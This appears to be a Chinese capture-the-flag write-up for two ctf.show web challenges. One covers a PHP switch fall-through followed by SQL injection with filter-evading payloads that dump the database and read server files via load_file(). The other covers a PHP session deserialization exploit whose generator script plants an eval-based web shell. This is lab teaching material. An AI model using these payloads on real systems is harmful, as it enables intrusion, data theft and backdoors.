ctf_show:web14
打开环境,界面有一段代码
<?php include("secret.php"); if(isset($_GET['c'])){ $c = intval($_GET['c']); sleep($c); switch ($c) { case 1: echo '$url'; break; case 2: echo '@A@'; break; case 555555: echo $url; case 44444: echo "@A@"; break; case 3333: echo $url; break; case 222: echo '@A@'; break; case 222: echo '@A@'; break; case 3333: echo $url; break; case 44444: echo '@A@'; case 555555: echo $url; break; case 3: echo '@A@'; case 6000000: echo "$url"; case 1: echo '@A@'; break; } } highlight_file(__FILE__);
如果没有break的话就会继续执行下去
这里传参?c=3会出现如下页面
访问这个php,有个输入框,感觉是sql注入
查看源代码,发现过滤了一些关键字
过滤的关键词有information_schema.tables,information_schema.columns,linestring,空格,polygon。在这里提供一种绕过的方法——反引号
反引号:它是为了区分MYSQL的保留字与普通字符而引入的符号。
例如information_schema.tables和information_schema.`tables`都可以使用。
网页的弹窗使得我们不容易观察,我们直接在源代码页面进行注入。
首先查询几列
?query=1/**/order/**/by/**/1#
发现只有一列
查询数据库名
-1/**/union/**/select/**/database()#
爆表名
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'#
爆字段
-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'#
爆数据
-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content#
我们发现数据库中并没有我们想要的flag,但是有一条提示tell you a secret,secert has a secret… 所以很有可能flag在secret.php中,现在就有一个问题,我们怎么从数据库中查看文件内容呢,mysql提供了读取本地文件的函数load_file()
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
查看源代码,发现
那我们再获取一下/real_flag_is_here里的数据
-1/**/union/**/select/**/load_file('/real_flag_is_here')
查看源代码,获得flag
web263
这道题先考察了源码邪路,先进行目录扫描,然后将源码下载下来(/www.zip),打开源码,发现了几个php文件
在index.php中,由于$_SESSION['limti']拼写有误,肯定会执行
$_SESSION['limit']=base64_decode($_COOKIE['limit']),因此我们可以通过控制cookie的值来进行反序列化
error_reporting(0); session_start(); //超过5次禁止登陆 if(isset($_SESSION['limit'])){ $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1')); $_SESSION['limit']= 1; }
然后查看check.php和inc.php,由于inc.php设置了ini_set('session.serialize_handler', 'php');并且check.php中require_once 'inc/inc.php';包含了inc.php,所以check.php和inc.php都使用了php引擎,这样设置说明原本的默认引擎应该是php_serialize引擎index.php则使用的是默认引擎,这样设置说明原本的默认引擎应该是php_serialize引擎。
在inc.php中
ini_set('session.serialize_handler', 'php'); session_start(); class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } }
可以利用session反序列化漏洞构造出一个User类,在其中的__destruct()
方法中可以写一个shell文件。
构造playload:
<?php class User{ public $username; public $password; public $status='a'; } $a=new User(); $a->username='b.php'; $a->password='<?php eval($_POST[1]);phpinfo();?>'; echo base64_encode('|'.serialize($a)); ?>
//fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJiLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO3M6MToiYSI7fQ==
首先打开index.php设置cookie值,这样session文件中就写入了我们需要的内容,然后我们访问访问check.php时,因为包含了inc.php,inc.php中又改变了session引擎,进而反序列化出一个User类的实例,而这个实例在销毁的时候调用了__destruct()
方法,进而达成了写shell的目的。